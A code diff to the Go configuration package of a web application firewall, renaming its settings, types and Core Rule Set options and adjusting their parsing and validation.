LogRemoteAppName string
|
||||
// AlertWebhookURL is where each alert is posted as JSON
|
||||
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
|
||||
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
||||
@@ -295,19 +285,19 @@ type WAF struct {
|
||||
// and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*),
|
||||
// per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number
|
||||
// (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*)
|
||||
// and per watched netblock (SWW_WAF_ANOMALY_WATCHED_NET_*), each 0 while
|
||||
// it is off. AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths
|
||||
// of the netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
|
||||
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and AnomalyWatchedNets the watched
|
||||
// netblocks (SWW_WAF_ANOMALY_WATCHED_NETS).
|
||||
// and per named netblock (SWW_WAF_WATCH_*), each 0 while it is off.
|
||||
// AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the
|
||||
// netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
|
||||
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
|
||||
// (SWW_WAF_WATCH_NETS).
|
||||
AnomalyClient anomaly.Thresholds
|
||||
AnomalyNet anomaly.Thresholds
|
||||
AnomalyASN anomaly.Thresholds
|
||||
AnomalyTotal anomaly.Thresholds
|
||||
AnomalyWatchedNet anomaly.Thresholds
|
||||
AnomalyWatch anomaly.Thresholds
|
||||
AnomalyNetV4Prefix int
|
||||
AnomalyNetV6Prefix int
|
||||
AnomalyWatchedNets []anomaly.NamedNetblock
|
||||
WatchNets []anomaly.NamedNetblock
|
||||
|
||||
// settings are the values read, as given or by default, and the
|
||||
// files they were read from, for the log line at start.
|
||||
@@ -316,12 +306,12 @@ type WAF struct {
|
||||
|
||||
// The values of SWW_WAF_CORE_RULE_SET_MODE.
|
||||
const (
|
||||
// CoreRuleSetModeOff runs no request through the Core Rule Set.
|
||||
CoreRuleSetModeOff = off
|
||||
// CoreRuleSetModeDetect logs and alerts a match, and refuses nothing.
|
||||
CoreRuleSetModeDetect = "detect"
|
||||
// CoreRuleSetModeBlock refuses a match with 403.
|
||||
CoreRuleSetModeBlock = "block"
|
||||
// WAFModeOff runs no request through the Core Rule Set.
|
||||
WAFModeOff = off
|
||||
// WAFModeDetect logs and alerts a match, and refuses nothing.
|
||||
WAFModeDetect = "detect"
|
||||
// WAFModeBlock refuses a match with 403.
|
||||
WAFModeBlock = "block"
|
||||
)
|
||||
|
||||
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
|
||||
@@ -389,10 +379,10 @@ var (
|
||||
"is not a name, = and a netblock, such as office=203.0.113.0/24")
|
||||
errNotAbsolutePath = errors.New(
|
||||
"is not an absolute path, such as /var/lib/sww")
|
||||
errShortToken = errors.New("is shorter than 32 characters")
|
||||
errNotMode = errors.New("is not enforce or observe")
|
||||
errNotBytesCounted = errors.New("is not response, request or both")
|
||||
errNotPathPrefix = errors.New(
|
||||
errShortToken = errors.New("is shorter than 32 characters")
|
||||
errNotMode = errors.New("is not enforce or observe")
|
||||
errNotBytesCount = errors.New("is not response, request or both")
|
||||
errNotPathPrefix = errors.New(
|
||||
"is not a path prefix starting with /, such as /assets/")
|
||||
errNotTrapPath = errors.New(
|
||||
"is not a path starting with / and without a ?, such as /wp-login.php",
|
||||
@@ -406,11 +396,9 @@ var (
|
||||
errNotApp = errors.New(
|
||||
"is not an app sww has fixes for; the apps are",
|
||||
)
|
||||
errNotCoreRuleSetMode = errors.New("is not off, detect or block")
|
||||
errNotParanoiaLevel = errors.New(
|
||||
"is not a paranoia level, from 1 to 4",
|
||||
)
|
||||
errNotRuleID = errors.New(
|
||||
errNotWAFMode = errors.New("is not off, detect or block")
|
||||
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
||||
errNotRuleID = errors.New(
|
||||
"is not the id of a Core Rule Set rule, a whole number such as 942100",
|
||||
)
|
||||
errSetupRuleID = errors.New(
|
||||
@@ -513,7 +501,7 @@ var (
|
||||
)
|
||||
)
|
||||
|
||||
// WAFFromEnvironment reads the settings through v, normally the viper
|
||||
// FromEnvironment reads the settings through v, normally the viper
|
||||
// NewViper returns, bound to the process's environment. A setting may
|
||||
// instead be given as a file: the variable named by the setting's name
|
||||
// with _FILE added names the file, which is read now (see lookup). A
|
||||
@@ -521,9 +509,9 @@ var (
|
||||
// invalid is an error that names it.
|
||||
//
|
||||
//nolint:funlen // one line for each setting, a list that grows with them
|
||||
func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
func FromEnvironment(v *viper.Viper) (*Config, error) {
|
||||
env := &environment{v: v}
|
||||
cfg := &WAF{
|
||||
cfg := &Config{
|
||||
ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"),
|
||||
InstanceName: env.instanceName(),
|
||||
Observe: env.observe("SWW_WAF_MODE", "enforce"),
|
||||
@@ -557,15 +545,15 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
),
|
||||
BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"),
|
||||
BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"),
|
||||
BytesCounted: env.bytesCounted("SWW_WAF_BYTES_COUNTED", "both"),
|
||||
BytesCount: env.bytesCount("SWW_WAF_BYTES_COUNT", "both"),
|
||||
LookupSource: env.lookupSource(
|
||||
"SWW_WAF_LOOKUP_SOURCE",
|
||||
"geojs",
|
||||
),
|
||||
LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""),
|
||||
ASNAndCountryLookupTimeout: env.milliseconds(
|
||||
"SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS",
|
||||
"800",
|
||||
LookupTimeout: env.durationNotOff(
|
||||
"SWW_WAF_LOOKUP_TIMEOUT",
|
||||
"800ms",
|
||||
),
|
||||
AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"),
|
||||
ExclusivelyAllowedCountries: env.countries(
|
||||
@@ -574,16 +562,16 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
TagDeny: env.tags("SWW_WAF_TAG_DENY"),
|
||||
TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"),
|
||||
RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"),
|
||||
ASNBytesLimitPercent: env.percents(
|
||||
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
|
||||
ASNBytesPercent: env.percents(
|
||||
"SWW_WAF_ASN_BYTES_PERCENT",
|
||||
ParseASN,
|
||||
),
|
||||
CountryBytesLimitPercent: env.percents(
|
||||
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
|
||||
CountryBytesPercent: env.percents(
|
||||
"SWW_WAF_COUNTRY_BYTES_PERCENT",
|
||||
parseCountry,
|
||||
),
|
||||
UnknownCountryLimitPercent: env.percent(
|
||||
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
|
||||
UnknownLimitPercent: env.percent(
|
||||
"SWW_WAF_UNKNOWN_LIMIT_PERCENT",
|
||||
"100",
|
||||
),
|
||||
ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"),
|
||||
@@ -597,13 +585,13 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
"SWW_WAF_ABUSEIPDB_DAILY_BUDGET",
|
||||
"900",
|
||||
),
|
||||
IPReputationCacheTTL: env.durationNotOff(
|
||||
"SWW_WAF_IP_REPUTATION_CACHE_TTL",
|
||||
ReputationCacheTTL: env.durationNotOff(
|
||||
"SWW_WAF_REPUTATION_CACHE_TTL",
|
||||
"24h",
|
||||
),
|
||||
DNSBLAbuseIPDBTimeout: env.milliseconds(
|
||||
"SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS",
|
||||
"2000",
|
||||
ReputationTimeout: env.durationNotOff(
|
||||
"SWW_WAF_REPUTATION_TIMEOUT",
|
||||
"2s",
|
||||
),
|
||||
CrowdSecDecisionsURL: env.crowdSecDecisionsURL(
|
||||
"SWW_WAF_CROWDSEC_LAPI_URL",
|
||||
@@ -618,8 +606,8 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW",
|
||||
"24h",
|
||||
),
|
||||
LimitBanPermanentAbove: env.durationNotOff(
|
||||
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE",
|
||||
MaxBanDuration: env.durationNotOff(
|
||||
"SWW_WAF_MAX_BAN_DURATION",
|
||||
"7d",
|
||||
),
|
||||
AttackBanDuration: env.durationNotOff(
|
||||
@@ -632,12 +620,12 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
"SWW_WAF_STATE_DIR",
|
||||
"/var/lib/sww",
|
||||
),
|
||||
BansWriteDelay: env.durationNotOff(
|
||||
"SWW_WAF_BANS_WRITE_DELAY",
|
||||
StateWriteDelay: env.durationNotOff(
|
||||
"SWW_WAF_STATE_WRITE_DELAY",
|
||||
"10s",
|
||||
),
|
||||
StateWriteInterval: env.durationNotOff(
|
||||
"SWW_WAF_STATE_WRITE_INTERVAL",
|
||||
StateCounterInterval: env.durationNotOff(
|
||||
"SWW_WAF_STATE_COUNTER_INTERVAL",
|
||||
"15m",
|
||||
),
|
||||
CacheDir: env.absolutePath(
|
||||
@@ -648,62 +636,48 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
"SWW_WAF_LOG_REQUEST_HEADERS",
|
||||
"accept,accept-language,accept-encoding,content-type,origin,range",
|
||||
),
|
||||
LogLevel: env.logLevel(
|
||||
"SWW_WAF_LOG_LEVEL",
|
||||
"info",
|
||||
),
|
||||
LogLevel: env.logLevel("SWW_WAF_LOG_LEVEL", "info"),
|
||||
AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"),
|
||||
MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"),
|
||||
MetricsBusiestCountriesAndASNs: env.numberNotOff(
|
||||
"SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS",
|
||||
"50",
|
||||
),
|
||||
RuleFilesDir: env.value(
|
||||
"SWW_WAF_RULE_FILES_DIR",
|
||||
"/etc/sww/rules.d",
|
||||
),
|
||||
RuleFilesEnabled: env.boolean(
|
||||
"SWW_WAF_RULE_FILES_ENABLED",
|
||||
"true",
|
||||
),
|
||||
CoreRuleSetMode: env.coreRuleSetMode(
|
||||
MetricsTopN: env.numberNotOff("SWW_WAF_METRICS_TOP_N", "50"),
|
||||
RulesDir: env.value("SWW_WAF_RULES_DIR", "/etc/sww/rules.d"),
|
||||
RulesEnabled: env.boolean("SWW_WAF_RULES_ENABLED", "true"),
|
||||
WAFMode: env.wafMode(
|
||||
"SWW_WAF_CORE_RULE_SET_MODE",
|
||||
CoreRuleSetModeBlock,
|
||||
WAFModeBlock,
|
||||
),
|
||||
CoreRuleSetParanoiaLevel: env.paranoiaLevel(
|
||||
WAFParanoiaLevel: env.paranoiaLevel(
|
||||
"SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL",
|
||||
"1",
|
||||
),
|
||||
CoreRuleSetScoreThreshold: env.numberOrOff(
|
||||
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
|
||||
WAFAnomalyThreshold: env.numberOrOff(
|
||||
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
||||
"5",
|
||||
),
|
||||
CoreRuleSetDisabledRules: env.ruleIDs(
|
||||
"SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
|
||||
"920340,920420,920440,920640,930130,930140",
|
||||
),
|
||||
CoreRuleSetExemptPaths: env.pathPrefixes(
|
||||
WAFDisabledRules: env.ruleIDs("SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
|
||||
"920340,920420,920440,920640,930130,930140"),
|
||||
WAFExemptPaths: env.pathPrefixes(
|
||||
"SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS",
|
||||
"",
|
||||
),
|
||||
CoreRuleSetBodyInspectionSize: env.coreRuleSetBodyInspectionSize(
|
||||
"SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE",
|
||||
WAFBodyLimit: env.wafBodyLimit(
|
||||
"SWW_WAF_CORE_RULE_SET_BODY_LIMIT",
|
||||
off,
|
||||
),
|
||||
CoreRuleSetExclusionsFile: env.filePath(
|
||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
||||
Apps: env.apps("SWW_WAF_APPS"),
|
||||
TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"),
|
||||
RefusalsLimitPerMinute: env.count(
|
||||
"SWW_WAF_REFUSALS_LIMIT_PER_MINUTE",
|
||||
ErrorBurstThreshold: env.count(
|
||||
"SWW_WAF_ERROR_BURST_THRESHOLD",
|
||||
"30",
|
||||
),
|
||||
LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"),
|
||||
LogRemoteTLSCAs: env.certificates(
|
||||
"SWW_WAF_LOG_REMOTE_TLS_CA_FILE",
|
||||
),
|
||||
LogRemoteBufferLines: env.numberNotOff(
|
||||
"SWW_WAF_LOG_REMOTE_BUFFER_LINES",
|
||||
LogRemoteBuffer: env.numberNotOff(
|
||||
"SWW_WAF_LOG_REMOTE_BUFFER",
|
||||
"10000",
|
||||
),
|
||||
LogRemoteFacility: env.facility(
|
||||
@@ -726,11 +700,11 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
"SWW_WAF_ALERT_MAX_PER_HOUR",
|
||||
"60",
|
||||
),
|
||||
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
|
||||
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
|
||||
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
|
||||
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
|
||||
AnomalyWatchedNet: env.thresholds("SWW_WAF_ANOMALY_WATCHED_NET_"),
|
||||
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
|
||||
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
|
||||
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
|
||||
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
|
||||
AnomalyWatch: env.thresholds("SWW_WAF_WATCH_"),
|
||||
AnomalyNetV4Prefix: env.v4Prefix(
|
||||
"SWW_WAF_ANOMALY_NET_V4_PREFIX",
|
||||
"24",
|
||||
@@ -739,17 +713,15 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
"SWW_WAF_ANOMALY_NET_V6_PREFIX",
|
||||
"48",
|
||||
),
|
||||
AnomalyWatchedNets: env.namedNetblocks(
|
||||
"SWW_WAF_ANOMALY_WATCHED_NETS",
|
||||
),
|
||||
WatchNets: env.namedNetblocks("SWW_WAF_WATCH_NETS"),
|
||||
}
|
||||
|
||||
cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME",
|
||||
cfg.InstanceName, cfg.LogRemoteURL != nil)
|
||||
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
|
||||
"SWW_WAF_BLOCKLIST_ACTION", "deny")
|
||||
cfg.DNSBLAbuseIPDBAction, cfg.DNSBLAbuseIPDBLimitPercent = env.action(
|
||||
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION", "limit:25")
|
||||
cfg.ReputationAction, cfg.ReputationLimitPercent = env.action(
|
||||
"SWW_WAF_REPUTATION_ACTION", "limit:25")
|
||||
|
||||
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
|
||||
env.checkLookupDBPath(cfg)
|
||||
@@ -769,7 +741,7 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
|
||||
}
|
||||
|
||||
// WAFListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a
|
||||
// file, as WAFFromEnvironment does. The health check in waf's container needs
|
||||
// file, as FromEnvironment does. The health check in waf's container needs
|
||||
// no other setting, so it reads no other, nor a file that another names.
|
||||
func WAFListenAddr(v *viper.Viper) (string, error) {
|
||||
env := &environment{v: v}
|
||||
@@ -779,18 +751,18 @@ func WAFListenAddr(v *viper.Viper) (string, error) {
|
||||
}
|
||||
|
||||
// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a
|
||||
// file, as WAFFromEnvironment does, so that the line saying a setting is
|
||||
// file, as FromEnvironment does, so that the line saying a setting is
|
||||
// invalid carries it too. A file that cannot be read gives the default
|
||||
// here, and WAFFromEnvironment then stops the start over it.
|
||||
// here, and FromEnvironment then stops the start over it.
|
||||
func InstanceName(v *viper.Viper) string {
|
||||
env := &environment{v: v}
|
||||
|
||||
return env.instanceName()
|
||||
}
|
||||
|
||||
// LogValue makes a WAF log as each setting's name with the value it was
|
||||
// LogValue makes a Config log as each setting's name with the value it was
|
||||
// given, or its default.
|
||||
func (c *WAF) LogValue() slog.Value {
|
||||
func (c *Config) LogValue() slog.Value {
|
||||
return slog.GroupValue(c.settings...)
|
||||
}
|
||||
|
||||
@@ -823,14 +795,10 @@ func (e *environment) duration(name, defaultValue string) time.Duration {
|
||||
return duration
|
||||
}
|
||||
|
||||
// coreRuleSetBodyInspectionSize reads the setting that is the most of a
|
||||
// request body the Core Rule Set reads.
|
||||
func (e *environment) coreRuleSetBodyInspectionSize(
|
||||
name, defaultValue string,
|
||||
) int64 {
|
||||
limit, err := parseCoreRuleSetBodyInspectionSize(
|
||||
e.value(name, defaultValue),
|
||||
)
|
||||
// wafBodyLimit reads the setting that is the most of a request body the
|
||||
// Core Rule Set reads.
|
||||
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
|
||||
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
|
||||
e.check(name, err)
|
||||
|
||||
return limit
|
||||
@@ -844,12 +812,12 @@ func (e *environment) count(name, defaultValue string) int64 {
|
||||
return count
|
||||
}
|
||||
|
||||
// bytesCounted reads the setting that is which body bytes count toward the
|
||||
// byte limits and the byte anomaly thresholds: response, request or both.
|
||||
func (e *environment) bytesCounted(name, defaultValue string) string {
|
||||
// bytesCount reads the setting that is which body bytes count toward the
|
||||
// byte limits: response, request or both.
|
||||
func (e *environment) bytesCount(name, defaultValue string) string {
|
||||
value := e.value(name, defaultValue)
|
||||
if value != "response" && value != "request" && value != "both" {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotBytesCounted))
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotBytesCount))
|
||||
}
|
||||
|
||||
return value
|
||||
@@ -891,13 +859,12 @@ func (e *environment) trapPaths(name string) []string {
|
||||
return paths
|
||||
}
|
||||
|
||||
// coreRuleSetMode reads the setting that is what the Core Rule Set does: off,
|
||||
// wafMode reads the setting that is what the Core Rule Set does: off,
|
||||
// detect or block.
|
||||
func (e *environment) coreRuleSetMode(name, defaultValue string) string {
|
||||
func (e *environment) wafMode(name, defaultValue string) string {
|
||||
mode := e.value(name, defaultValue)
|
||||
if mode != CoreRuleSetModeOff && mode != CoreRuleSetModeDetect &&
|
||||
mode != CoreRuleSetModeBlock {
|
||||
e.check(name, fmt.Errorf("%q %w", mode, errNotCoreRuleSetMode))
|
||||
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
|
||||
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
|
||||
}
|
||||
|
||||
return mode
|
||||
@@ -1111,7 +1078,7 @@ func (e *environment) lookupSource(name, defaultValue string) string {
|
||||
// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without
|
||||
// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source:
|
||||
// one source at a time.
|
||||
func (e *environment) checkLookupDBPath(cfg *WAF) {
|
||||
func (e *environment) checkLookupDBPath(cfg *Config) {
|
||||
switch {
|
||||
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
|
||||
e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf(
|
||||
@@ -1133,9 +1100,9 @@ func (e *environment) checkLookupDBPath(cfg *WAF) {
|
||||
// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name
|
||||
// an asn= or country= tag, the biased thresholds,
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which
|
||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT needs them only below 100, where it lowers a
|
||||
// SWW_WAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
|
||||
// limit, and the anomaly thresholds per AS number.
|
||||
func (e *environment) checkCountriesAndLookups(cfg *WAF) {
|
||||
func (e *environment) checkCountriesAndLookups(cfg *Config) {
|
||||
for _, country := range cfg.ExclusivelyAllowedCountries {
|
||||
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
|
||||
e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||
@@ -1162,9 +1129,9 @@ func (e *environment) checkCountriesAndLookups(cfg *WAF) {
|
||||
{"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
|
||||
{"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc(
|
||||
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
|
||||
{"SWW_WAF_ASN_BYTES_LIMIT_PERCENT", len(cfg.ASNBytesLimitPercent) > 0},
|
||||
{"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", len(cfg.CountryBytesLimitPercent) > 0},
|
||||
{"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", cfg.UnknownCountryLimitPercent < 100},
|
||||
{"SWW_WAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
|
||||
{"SWW_WAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
|
||||
{"SWW_WAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
|
||||
{"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
|
||||
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
|
||||
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
|
||||
@@ -1183,7 +1150,7 @@ func (e *environment) checkCountriesAndLookups(cfg *WAF) {
|
||||
|
||||
// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a
|
||||
// blocklist too: the file at a URL is fetched as one list or the other.
|
||||
func (e *environment) checkASNLimitPercentURL(cfg *WAF) {
|
||||
func (e *environment) checkASNLimitPercentURL(cfg *Config) {
|
||||
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
|
||||
e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL",
|
||||
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
|
||||
@@ -1193,7 +1160,7 @@ func (e *environment) checkASNLimitPercentURL(cfg *WAF) {
|
||||
// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
|
||||
// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
|
||||
// that is fetched as another list too.
|
||||
func (e *environment) checkCrowdSec(cfg *WAF) {
|
||||
func (e *environment) checkCrowdSec(cfg *Config) {
|
||||
decisionsURL := cfg.CrowdSecDecisionsURL
|
||||
|
||||
switch {
|
||||
@@ -1219,7 +1186,7 @@ func (e *environment) checkCrowdSec(cfg *WAF) {
|
||||
|
||||
// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
|
||||
// another list too: the file at a URL is read as one kind of list.
|
||||
func (e *environment) checkTagLists(cfg *WAF) {
|
||||
func (e *environment) checkTagLists(cfg *Config) {
|
||||
for _, list := range cfg.TagLists {
|
||||
if slices.Contains(cfg.BlocklistURLs, list.URL) ||
|
||||
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
|
||||
@@ -1234,7 +1201,7 @@ func (e *environment) checkTagLists(cfg *WAF) {
|
||||
// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
|
||||
// never apply: crowdsec, whose request is refused before tags are acted on, and
|
||||
// any tag these settings cannot give a request.
|
||||
func (e *environment) checkTags(cfg *WAF) {
|
||||
func (e *environment) checkTags(cfg *Config) {
|
||||
for _, tag := range cfg.TagDeny {
|
||||
e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
|
||||
}
|
||||
@@ -1245,7 +1212,7 @@ func (e *environment) checkTags(cfg *WAF) {
|
||||
}
|
||||
|
||||
// checkTag returns an error when tag would never apply, as checkTags says.
|
||||
func checkTag(cfg *WAF, tag string) error {
|
||||
func checkTag(cfg *Config, tag string) error {
|
||||
if tag == CrowdSecTag {
|
||||
return fmt.Errorf("%q %w", tag, errCrowdSecTag)
|
||||
}
|
||||
@@ -1258,17 +1225,17 @@ func checkTag(cfg *WAF, tag string) error {
|
||||
}
|
||||
|
||||
// requestCanGetTag reports whether anything cfg sets up can give a request tag.
|
||||
func requestCanGetTag(cfg *WAF, tag string) bool {
|
||||
func requestCanGetTag(cfg *Config, tag string) bool {
|
||||
isListName := func(list TagList) bool { return list.Name == tag }
|
||||
if isLookupTag(tag) || slices.ContainsFunc(cfg.TagLists, isListName) {
|
||||
return true
|
||||
}
|
||||
|
||||
if tag == ExploitSignatureTag {
|
||||
coreRuleSetOn := cfg.CoreRuleSetMode != CoreRuleSetModeOff &&
|
||||
cfg.CoreRuleSetScoreThreshold != 0
|
||||
coreRuleSetOn := cfg.WAFMode != WAFModeOff &&
|
||||
cfg.WAFAnomalyThreshold != 0
|
||||
|
||||
return cfg.RuleFilesEnabled || coreRuleSetOn
|
||||
return cfg.RulesEnabled || coreRuleSetOn
|
||||
}
|
||||
|
||||
if tag == AbuseIPDBTag {
|
||||
@@ -1289,14 +1256,14 @@ func requestCanGetTag(cfg *WAF, tag string) bool {
|
||||
|
||||
// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT
|
||||
// names an asn= or country= tag.
|
||||
func (c *WAF) TagsNeedLookup() bool {
|
||||
func (c *Config) TagsNeedLookup() bool {
|
||||
return slices.ContainsFunc(c.TagDeny, isLookupTag) ||
|
||||
tagLimitNeedsLookups(c)
|
||||
}
|
||||
|
||||
// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn=
|
||||
// or country= tag.
|
||||
func tagLimitNeedsLookups(cfg *WAF) bool {
|
||||
func tagLimitNeedsLookups(cfg *Config) bool {
|
||||
for tag := range cfg.TagLimitPercent {
|
||||
if isLookupTag(tag) {
|
||||
return true
|
||||
@@ -1672,10 +1639,10 @@ func durationOrDays(value string) (time.Duration, error) {
|
||||
return time.Duration(n) * day, nil
|
||||
}
|
||||
|
||||
// parseCoreRuleSetBodyInspectionSize reads the most of a request body the Core Rule Set
|
||||
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
|
||||
// reads: a size as parseSize reads it, or off, but at most 64K, since waf
|
||||
// gets no more of a body than that.
|
||||
func parseCoreRuleSetBodyInspectionSize(value string) (int64, error) {
|
||||
func parseWAFBodyLimit(value string) (int64, error) {
|
||||
limit, err := parseSize(value)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
|
||||
+550
-602
File diff suppressed because it is too large.
Load diff
@@ -1,9 +1,9 @@
|
||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||
// method, the URL with its query and the headers of a request, and on its
|
||||
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the
|
||||
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names,
|
||||
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack
|
||||
// detection" under "Settings" in SPEC.md describes them. It reads no response.
|
||||
// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the five changes sww
|
||||
// makes to it, the fixes for the apps SWW_WAF_APPS names, and the exclusions in
|
||||
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
||||
// in SPEC.md describes them. It reads no response.
|
||||
//
|
||||
// sww writes only to its state directory, so Coraza is built with
|
||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||
@@ -34,8 +34,8 @@ import (
|
||||
|
||||
// directives are the Core Rule Set as sww runs it, with the
|
||||
// paranoia level for %d, bodyDirectives for the first %s while
|
||||
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for
|
||||
// the second, and the directives of every app in apps for the third.
|
||||
// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
|
||||
// and the directives of every app in apps for the third.
|
||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||
// Core Rule Set keeps for the rules that set it up, which
|
||||
